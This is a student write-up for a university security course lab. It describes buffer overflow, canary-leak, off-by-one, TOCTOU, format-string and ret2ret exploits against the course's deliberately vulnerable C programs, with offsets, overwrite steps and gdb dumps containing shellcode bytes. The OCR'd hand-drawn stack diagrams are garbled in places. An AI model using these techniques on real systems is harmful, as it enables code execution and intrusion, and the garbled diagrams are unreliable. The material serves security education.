CS 161 Project 1 https://sp23.cs161.org/proj1/

In this project I implemented memory exploits and mitigation strategies to prevent or detect buffer overflow attacks and memory safety vulnerabilities. Given various programs in C, I detected the vulnerable lines of code, devised a strategy to leverage them and insert my personal shellcode to execute code of my choosing. Throughout this project we learned about memory vulnerable methods, exploiting off by one errors, buffer overflows, escape characters and tocttou errors bypassing stack canaries, aslr, and other mitigation methods. The exact exploits and how I formed them are below for each piece of vulnerable code.

01. Remus:

Vulnerability:

For this question, the gets(buf) line is vulnerable because there is not a check for the length of the input and the user is thus able to write beyond the length of the buffer.

Magic Numbers:
buffer length = 8, compiler padding = 8
sfp orbit = 0xbfffdaf8
rip orbit = 0xbfffdafc
shellcode inserted at = 0xbfffdb00

Exploit Structure:

In the egg file, first need to override the buffer, compiler padding, and the sfp. By comparing the addresses when running info frame x/16x buf I determined the difference between the rip and buf was 20 so I inserted 20 bytes of garbage input. Then I overrode the rip with the address of the new shellcode 4 bytes after and then inserted the shellcode provided.

GDB before/after: oops writeup was not needed for this question hehe

02. Spica

Vulnerability:

The program allows you to specify a length and then inject an integer that passes the size length. However if we input 0xff which would pass the < 128 check unsigned but is 255 signed we can read more than the buffer size and initiate a buffer overflow attack when puts(msg) is called.

Magic Numbers:

Addr	Size	Value	
0xffffdacc	4	rip	
0xffffdac8	4	sfp	
	16	compiler pad	
0xffffda38	128	msg = 'A'	
	1	size = 0xff	

Exploit Structure:

- 1. First need to write to file the size = 0xff
- 2. Next need to fill the bytes between the buffer and the rip. Debugging the exploit and calling info frame inside the display function gives us the rip and sfp and we can also compare and find the msg buffer because it is defined directly after or call x/nx msg.
- To fill in the bytes based on the created stack diagram, we need 128 bytes to fill the buffer, 16 bytes compiler pad, 4 bytes of garbage to override the sfp.
- 4. Now we can replace the rip with a new value that points to our shellcode. Since we can keep overriding memory we can place the shellcode in the next word so 4 above the current rip. The rip was 0xffffdacc so the new one would be '\xd0\xda\xff\xff' written as a string
- 5. Place the shellcode at the specified address.



(gdb) x/48x n	ısg			
0xffffda38:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffda48:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffda58:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffda68:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffda78:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffda88:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffda98:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffdaa8:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffdab8:	0x000000d2	0x41414141	0x41414141	0x41414141
0xffffdac8:	0x41414141	0xffffdad0	0xcd58326a	0x89c38980
0xffffdad8:	0x58476ac1	0xc03180cd	0x692d6850	0xe2896969
0xffffdae8:	0x6d2b6850	0xe1896d6d	0x2f2f6850	0x2f686873

03. Polaris:

Vulnerability:

Line 22 checking for '\x' character -- Because of the way the input is formatted, we can read past the actual buffer by 3 bytes when a certain character is detected. The loop skips 3 bytes and we can use this to leak the stack canary. We then initiate a buffer overflow attack to bypass the canary.

Magic Numbers:

Addy	Bylcs	VA) Ne
Oxfre daec	Ч	ciplrip dehex
n daes	- 4	stplebp dehex
1	- 8	compiler pad
	4	canary
\\ dacc	16	c.buffer
3		

Exploit Structure:

- 1. For the first p.send we want to fill buffer to get right below the canary-- The buffer size is 16. First 3 loops fill with garbage, then special character '\x\n' to terminate early.
- 2. the stack canary is right above the buffer so we can call p.recvline(17) and slice the 4 bytes of the canary
- 3. Filled in the stack diagram using info frame and getting the address of the buffer with x/nx c.buffer
- 4. For the second p.send since we now know the entire stack layout, we can first send 16 bytes of garbage null terminated to 'A' *15 + '\0' and then we know the stack canary so we add that slice next. Based on the addresses there is 8 bytes of compiler padding and 4 bytes for the sfp so we need 12 more garbage bytes before placing the address of the shellcode where the rip of dehexify is. &shellcode is 4 above the rip so 0xffffdaec + 4 = 0xffffdaf0 converted to little endian followed by the actual shellcode.

x/30x c.buffer

111010 10 110	member named barr	٠.		
(gdb) x/30x	c.buffer			
0xffffdacc:	0x41414141	0x41414141	0x41414141	0x0800785c
0xffffdadc:	0xe2a92e26	0x0804d020	0x00000000	0xffffdaf8
0xffffdaec:	0x08049341	0x00000000	0xffffdb10	0xffffdb8c
0xffffdafc:	0x0804952a	0x00000001	0x08049329	0x0804cfe8
0xffffdb0c:	0x0804952a	0x00000001	0xffffdb84	0xffffdb8c
0xffffdb1c:	0x0804b000	0x00000000	0x00000000	0x08049508
0xffffdb2c:	0x0804cfe8	0x00000000	0x00000000	0x00000000

04. Vega

Vulnerability:

There is an off by one error for this part so we can go beyond buffer and change the lsb of the sfp. By doing this we can then redirect the rip on the second call to the function and have it execute shellcode we place into the buffer

Magic Numbers:

addr	byles	size			
daca	Ч	rip dispatch			
dabc	4	sfp dispatch			
	4	Lin			
daby	4	rla invoke			
dabo	Ч	stp invoke			
da30? da 70	64	sfp invoke angstist			
	43	X64F			
	4?	Lin			
daby	4	vip flip			
da60	Ч	sep Hip			
V	Ч	Ŋ			
^	4	i			
segfault de So	1				
Segfault dc.5a p environ C4) = DXFFFFdf98 ty=					
offe '					
		<u> </u>			

p environ[4] = 0xdfdfffbc after 0x20

Exploit Structure:

- Use gdb and printing environment variables to get stack diagram above.
 Called info frame at breakpoints within each function and extracted argument locations.
- 2. We know that there are 64 bytes of buffer so we fill the first bytes with garbage
- 3. If we know that we can write one extra byte based on the stack diagram that means we can override the lsb of the sfp of invoke. We want an area of the stack where we put our shellcode (checked using the environ[3][4]) so I chose '\x10'
- 4. Based on this, the exploit should have 4 bytes of garbage, the address of the environment variable which is 4 above 0xffffdf9c. Then we input 56

more bytes of garbage because we want to set the 65th byte of the sfp to '\x10'

GDB before/after:


(gdb) $x/20x$ but	f			
0xffffda30:	0x61616161	0xffffdf9c	0x61616161	0x61616161
0xffffda40:	0x61616161	0x61616161	0x61616161	0x61616161
0xffffda50:	0x61616161	0x61616161	0x61616161	0x61616161
0xffffda60:	0x61616161	0x61616161	0x61616161	0x61616161
0xffffda70:	0xffffda30	0x0804927a	0xffffdc1f	0xffffda88

05. Deneb:

Vulnerability:

Because the size check happens before the actual file is read we can input an acceptable file and then change the file contents and read past the buffer limit. We can then use this to initiate a buffer overflow attack

Magic Numbers:



Exploit Structure:

(kinda above too)

- 1. For the initial check we must write garbage to the file such that the size is less than 128 so I wrote 127 bytes of garbage
- 2. After starting the program, we then redo the hack. We can find the addresses of buffer, sfp and rip by calling info frame and x/nx buf. Based on the diagram, we know that we need db0c da78 = 148 bytes of garbage to overwrite the compiler padding and other variables between the buffer and rip.
- 3. We can then get the address for the shellcode which is 4 bytes above the rip so 0xffffdb10. We replace the rip with this value

- 4. We then place the shellcode right after this.
- 5. We send the number of bytes to read to equal 237 because 148 bytes of garbage + 4 bytes new ptr + 85 bytes of shellcode

0xffffda78:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffda88:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffda98:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffdaa8:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffdab8:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffdac8:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffdad8:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffdae8:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffdaf8:	0x000000e0	0x41414141	0x41414141	0x41414141
0xffffdb08:	0x41414141	0xffffdb10	0xdb31c031	0xd231c931
0xffffdb18:	0xb05b32eb	0xcdc93105	0xebc68980	0x3101b006
0xffffdb28:	0x8980cddb	0x8303b0f3	0x0c8d01ec	0xcd01b224
0xffffdb38:	0x39db3180	0xb0e674c3	0xb202b304	0x8380cd01
0xffffdb48:	0xdfeb01c4	0xffffc9e8	0x414552ff	0x00454d44
0xffffdb58:	0xffffdb94	0x08049000	0x080508f9	0x00000000

06. Antares:

Vulnerability:

Printf call directly on the buffer inputted by the user. Can make printf read above and blow on the stack. We can write into the rip of calibrate such that the function executes shellcode on the return.

Magic Numbers:

(b)	antares		
· ·	idea: printf directly on buf = input	vip main	dacc
	idea: printf directly on buf = input write into RIP calibrate?	Shellcode	0xfff db44 dc58
		buf	OXFFF da 30
	order: Osnellcode to avgv Osnellcode - (x14 + "ha + "han)	RIP calibrate	da1c
	5 4 words but -> 4 bytes garbage % n -> 0 b enimals to descript	prints spec	******
	- 4 byter garbage %4 Onthe wild	RIP printf	
	-> RIP callibrate to overwrite X=		buf
	-> 4 by Ks garbags % N	print buf - (8	21 Pprintf +8) to reach
	-> P-IP calibrate + 2 bytes		
Marke	15 x 14 % c to the buffer (buff oddr OXIII)	- apay	-94 03(2)
PANMALK	while 1) + 1/2 hm = second half mellode by with 0 + 1/2 hm = first half shellode	db44-3	1=561010
12/0 miles	browite & + 1, bm - first half shell code		U
V-	DXHH	- dc58 =	9127
		11.58-21=	= 56377

Found by stepping into calibrate and running info frame. Also found buf by getting the environment variables passed in. argv[] char string so found argv[2] which was the shellcode

Exploit Structure:

- 1. Pass the shellcode into argv
- 2. Write first 4 words of buffer:
 - a. place 4 bytes of the garbage with the %u
 - b. place the rip of calibrate that we are trying to overwrite so 0xffffda1c
 - c. place another 4 bytes of the garbage with the %u
 - d. place the rip of calibrate again but add an additional 2 bytes so 0xffffda1e
- Based on the stack diagram we also need to add another 60 bytes (15 %c) of garbage to get to the point in the stack where we can start overwriting the shellcode addresses.
- 4. To write the second half of the shellcode first I subtracted 31 from the 2 lsb of the shellcode address. This is because we wrote 4 words initially and 15 %c so 16 + 15 = 31. 0xdc58 31 = 56377 According to the documentation provided on the %u and %hn we need to subtract the bytes from the half words.

5. The first half of the shellcode can be found by subtracting the 2 lsb from the 2 msb of the shellcode address. So 0xffff - 0x dc58 = 9127. This overwrites the rip of calibrate.

```
(gdb) x/17x buf
0xffffda30:
                0x41414141
                                0xffffda1c
                                                0x41414141
                                                                0xffffda1e
0xffffda40:
                0x63256325
                                0x63256325
                                                0x63256325
                                                                0x63256325
0xffffda50:
                0x63256325
                                0x63256325
                                                0x63256325
                                                                0x35256325
0xffffda60:
                0x37373336
                                0x6e682575
                                                0x32313925
                                                                0x68257537
0xffffda70:
                0x00000a6e
(gdb) i f
Stack level 0, frame at 0xffffda20:
 eip = 0x804924a in calibrate (calibrate.c:12); saved eip = 0xffffdc58
 called by frame at 0xffffdac0
 source language c.
 Arglist at 0xffffda18, args: buf=0xffffda30 "AAAA\034\332\377\377AAAA\036\
 Locals at 0xffffda18, Previous frame's sp is 0xffffda20
 Saved registers:
ebp at 0xffffda18, eip at 0xffffda1c
```

07. Rigel

Vulnerability:

Because secure_gets() places the user input into a buffer we can create a ret2ret exploit because we can overwrite an existing pointer. By filling the stack with nop instructions and return instructions we can eventually override the existing pointer and make it point to the buffer where we placed our shellcode. It also conveniently prints out useful values and addresses.

Magic Numbers:

Because aslr is enabled all the addresses change so we had to find the addresses relative to another function. Using the printf function we can calculate relative offsets and pass in variables from there.

3	Rige 72 ret to rot 92	138 Olevy	ff 1603 H 160		printf : f7faa Dec
	5 SHOIL COOLE to buf + (128-shell len) ** NOP 5 overvide and national formation 1 5 \n 138 14 = 35 176-128 = 48		main — dis 4970 bi 0xf7f1c0ec	as main 18	0x483349c 83339c
		size 128 9	buf Canany enc.ph	0 +25b +60	print+ 0 ret +41

- 1. Called disas printf to get assembly code and found that return is 41 bytes after the beginning.
- 2. Found the size of buffer to be 0x100 = 256 and the canary is placed right after that in the stack followed 4 words later by the err_ptr.

Exploit Structure:

- 3. First filled in the beginning of the buffer with nops. Because we know that the
- 4. Placed the shellcode in the first part of the buffer and because we want the shellcode to be at the end of the buffer placed (256-len(shellcode)) bytes of '\x90'
- 5. Then placed shellcode at end of the buffer
- Right after the buffer we have to replace the stack canary. We can recvline and get the value of the stack canary and get the slice and insert it right after the shellcode

7. We then need to place the return instructions until we hit the rip. Because we can recyline and get the rip of printf and we know that the return code is 41 bytes after we can add 41 to the sliced address and fill the next 4 instructions until we hit the rip.

```
(gdb) x/48x buf
0xfff60edc:
                 0xf7f1a000
                                  0x8683fbf8
                                                   0xf7f72708
                                                                    0x00000000
0xfff60eec:
                 0x00000000
                                  0x00000000
                                                   0x00000000
                                                                    0x00000000
0xfff60efc:
                 0x00000000
                                  0x00000000
                                                   0x00000000
                                                                    0x00000000
                 0x00000000
                                  0x00000000
                                                   0x00000000
                                                                    0x00000000
0xfff60f1c:
                 0x00000000
                                  0x00000000
                                                   0x00000000
                                                                    0x00000000
                                  0x00000000
0xfff60f2c:
                 0x00000000
                                                   0x00000000
                                                                    0x00000000
                 0x00000000
                                  0x00000000
                                                   0x00000000
                                                                    0x00000000
0xfff60f4c:
                 0x00000000
                                  0x00000000
                                                   0x00000000
                                                                    0x00000000
0xfff60f5c:
                 0x00000000
                                  0x00000000
                                                   0x00000000
                                                                    0x10000000
0xfff60f6c:
                 0x00000000
                                  0xf7fb40ac
                                                   0xf7fb3c84
                                                                    0xf7f72799
                 0x565a5fa4
                                  0xfff610b4
                                                   0x00000001
                                                                    0x565a5fa4
                 0xf7f76c98
                                  0x00000000
                                                   0xfff60fac
                                                                    0x00003fa4
0xfff60f8c:
```

```
Non-executable pages check failed!
[Detaching after fork from child process 15160]
eefaf208
f7f3a0ec
Breakpoint 1, secure_gets (err_ptr=0xffa89a24) at lockdown.c:109
109
             return 0;
(gdb) x/80x buf
                 0x90909090
                                  0x90909090
                                                   0x90909090
                                                                    0x90909090
                 0x90909090
                                                   0x90909090
                                                                    0x90909090
                                  0x90909090
                 0x90909090
                                  0x90909090
                                                   0xdb31c031
                                                                    0xd231c931
                 0xb05b32eb
                                  0xcdc93105
                                                   0xebc68980
                                                                    0x3101b006
0xffa899bc:
                 0x8980cddb
                                  0x8303b0f3
                                                   0x0c8d01ec
                                                                    0xcd01b224
0xffa899cc:
                 0x39db3180
                                  0xb0e674c3
                                                   0xb202b304
                                                                    0x8380cd01
0xffa899dc:
                 0xdfeb01c4
                                  0xffffc9e8
                                                   0x414552ff
                                                                    0x00454d44
                 0xeefaf208
                                  0xf7f3a115
                                                   0xf7f3a115
                                                                    0xf7f3a115
                 0xf7f3a115
                                  0xffa89a00
                                                   0xffffffff
                                                                    0xf7f494a9
                 0x56646663
                                  0x00000000
                                                                    0xffa89ac4
                                                   0x00000000
                 0x00000001
                                  0x00000000
                                                   0x00000001
                                                                    0xffa89a24
```